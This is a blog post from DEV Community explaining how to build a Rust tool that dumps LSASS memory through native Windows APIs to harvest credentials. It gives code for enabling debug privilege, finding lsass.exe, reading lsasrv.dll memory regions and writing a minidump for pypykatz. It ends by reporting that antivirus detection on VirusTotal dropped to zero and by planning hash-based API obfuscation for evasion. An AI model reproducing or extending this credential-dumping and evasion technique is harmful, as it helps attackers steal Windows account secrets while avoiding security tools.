DEV Community

windasunnie
windasunnie

Posted on

LSASS Memory Dumping Using Native Windows APIs

Using low-level Windows Native API functions dump LSASS process memory

Prerequisites: Enabling SeDebugPrivilege

Since lsass.exe is a protected system process, we must first enable the SeDebugPrivilege to gain the necessary permissions. This privilege allows our process to open handles to protected processes and read their memory.

Step 1: Enumerating Running Processes

We use the NtQuerySystemInformation API with the SystemProcessInformation (value: 5) information class to retrieve an array of SYSTEM_PROCESS_INFORMATION structures containing details about all running processes. Replace using CreateToolhelp32Snapshot create snapshot.

let status = unsafe {
    NtQuerySystemInformation(
        5, // SystemProcessInformation
        buffer.as_mut_ptr() as *mut c_void,
        length,
        &mut length,
    )
};
Enter fullscreen mode Exit fullscreen mode

The SYSTEM_PROCESS_INFORMATION structure contains various process details, including the process name stored in Unicode format:

pub struct SystemProcessInformation {
    ...
    pub image_name: UnicodeString,
    ...
}
Enter fullscreen mode Exit fullscreen mode

I iterate through the returned structures in a while loop, searching for the process with the image name matching "lsass.exe".

To make the process names human-readable, we convert the Unicode strings to standard Rust strings. This conversion will later be replaced with DJB2 hash-based obfuscation for evasion purposes.

if !name_addr.is_null() && name_len > 0 {
    let wide_slice: &[u16] = core::slice::from_raw_parts(
        name_addr as *const u16,
        (name_len / 2) as usize
    );
    let os = std::ffi::OsString::from_wide(wide_slice);
    let name = os.to_string_lossy().into_owned();
    // println!("Process name = {}", name);
    // println!("Name Addr: {:?}", name_addr);
    // println!("Name len: {}", name_len);
    ...
}
Enter fullscreen mode Exit fullscreen mode

Step 2: Querying LSASS Process Information

Once we obtain a handle to the lsass.exe process, we need to locate the lsasrv.dll module, which contains the credential storage mechanisms. We use NtQueryInformationProcess with the ProcessBasicInformation class (value: 0) to retrieve the Process Environment Block (PEB) address.

Use NtQueryInformationProcess query lsass.exe process information

let mut status = unsafe {
    NtQueryInformationProcess(
        process_handle as *mut c_void,
        0, // ProcessBasicInformation
        &mut process_information as *mut _ as *mut c_void,
        core::mem::size_of::<ProcessBasicInformation>() as u32,
        &mut return_length,
    )
};
Enter fullscreen mode Exit fullscreen mode

Step 3: Traversing the PEB to Find lsasrv.dll

Since we're querying another process's memory space, we cannot directly access its PEB. Instead, we must read the target process's virtual memory using NtReadVirtualMemory. By traversing the PEB structure and reading the loader data structures, we can enumerate loaded modules and locate lsasrv.dll.

let status = unsafe {
    NtReadVirtualMemory(
        process_handle,
        mem_address,
        buffer.as_mut_ptr() as *mut c_void,
        buffer.len(),
        &mut bytes_read,
    )
};
Enter fullscreen mode Exit fullscreen mode

Step 4: Querying Virtual Memory Information

After locating the lsasrv.dll base address, we use NtQueryVirtualMemory to retrieve detailed information about the memory regions.

let result = unsafe {
    NtQueryVirtualMemory(
        process_handle,
        base_address,
        0,
        &mut mem_info as *mut _ as *mut c_void,
        core::mem::size_of::<MemoryBasicInformation>() as usize,
        null_mut()
    )
};
Enter fullscreen mode Exit fullscreen mode

Understanding Windows Virtual Memory Structure

Windows virtual memory is organized into pages, with the standard page size being 4KB (0x1000 bytes). A process's virtual address space is divided into numerous pages, each with its own state, protection attributes, and base address.

MEMORY_BASIC_INFORMATION Structure

When calling VirtualQueryEx (or NtQueryVirtualMemory), the system returns a MEMORY_BASIC_INFORMATION structure containing critical fields:

  • BaseAddress: The starting virtual address of the memory region
  • RegionSize: The size of this region (typically multiple pages combined)
  • State:
    The allocation state of the memory:

    • MEM_COMMIT: Memory is allocated and backed by physical pages (accessible)
    • MEM_RESERVE: Address space is reserved but not backed by physical memory
    • MEM_FREE: Memory is not allocated
  • Protect: Access permissions for the pages:

    • PAGE_NOACCESS: No access allowed
    • PAGE_READONLY: Read-only access
    • PAGE_READWRITE: Read and write access
    • PAGE_EXECUTE_READWRITE: Execute, read, and write access
    • PAGE_GUARD: Guard page for debugging or exception triggering
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };

let result = unsafe {
    NtQueryVirtualMemory(
        process_handle,
        base_address,
        0,
        &mut mem_info as *mut _ as *mut c_void,
        core::mem::size_of::<MemoryBasicInformation>() as usize,
        null_mut()
    )
};
Enter fullscreen mode Exit fullscreen mode

Step 5: Filtering Valid Memory Regions

We establish the boundaries for memory scanning:

// Initialize variables for memory region traversal and dumping.
let mut memory_address: usize = 0; // Start memory address for dumping.
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // Maximum user-mode 
Enter fullscreen mode Exit fullscreen mode

We need to skip unreadable or unallocated memory blocks. We only process memory regions that are committed (MEM_COMMIT) and have at least some access permissions (not PAGE_NOACCESS).

if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
    ...
}
Enter fullscreen mode Exit fullscreen mode

Handling Memory Region Boundaries

NtQueryVirtualMemory returns a region that may contain one or multiple pages. Sometimes a region is only one page size (0x1000 bytes), which typically indicates:

  • Special protection boundaries
  • Guard pages
  • Specific allocation patterns

When performing memory dumps or module scanning, we need to merge adjacent regions to correctly capture complete modules.

Region Merging Logic

We check if region_size equals 0x1000. If so, this typically indicates the beginning of a new module. We then accumulate subsequent regions. Finally, we use NtReadVirtualMemory to convert the memory region into raw bytes and write them to our dump buffer.

Step 6: Creating a Minidump File

The final step involves constructing a binary file similar to a Windows minidump (MDMP format) with the following structure:

  1. Header (fixed 32 bytes, including signature "MDMP")
  2. Stream Directory (each stream entry = 12 bytes: streamType (u32), size (u32), offset (u32))
  3. SystemInfo Stream (fixed 56 bytes implementation, varies by OS version)
  4. ModuleList Stream (contains module entries + module path blocks)
  5. Memory64List Stream (contains memory-region list + offset pointing to actual memory bytes)
  6. regions_memdump (actual memory bytes read, placed at the end of the file)

Testing and Results

We can verify the dump file using pypykatz:

C:\> pypykatz lsa minidump hello.dmp
Enter fullscreen mode Exit fullscreen mode

pypykatz minidump

Examining the Import Address Table (IAT)

Using PeStudio to inspect the IAT reveals the imported functions:
pestudio show IAT

The detection is likely due to not implementing DJB2 or other hash-based obfuscation methods for API calls.

Antivirus Evasion Results

Initial VirusTotal scan detected 1/72:

However, rule-based detection systems are relatively easy to bypass. After minor modifications and re-uploading, the detection rate dropped to 0/72:

Top comments (0)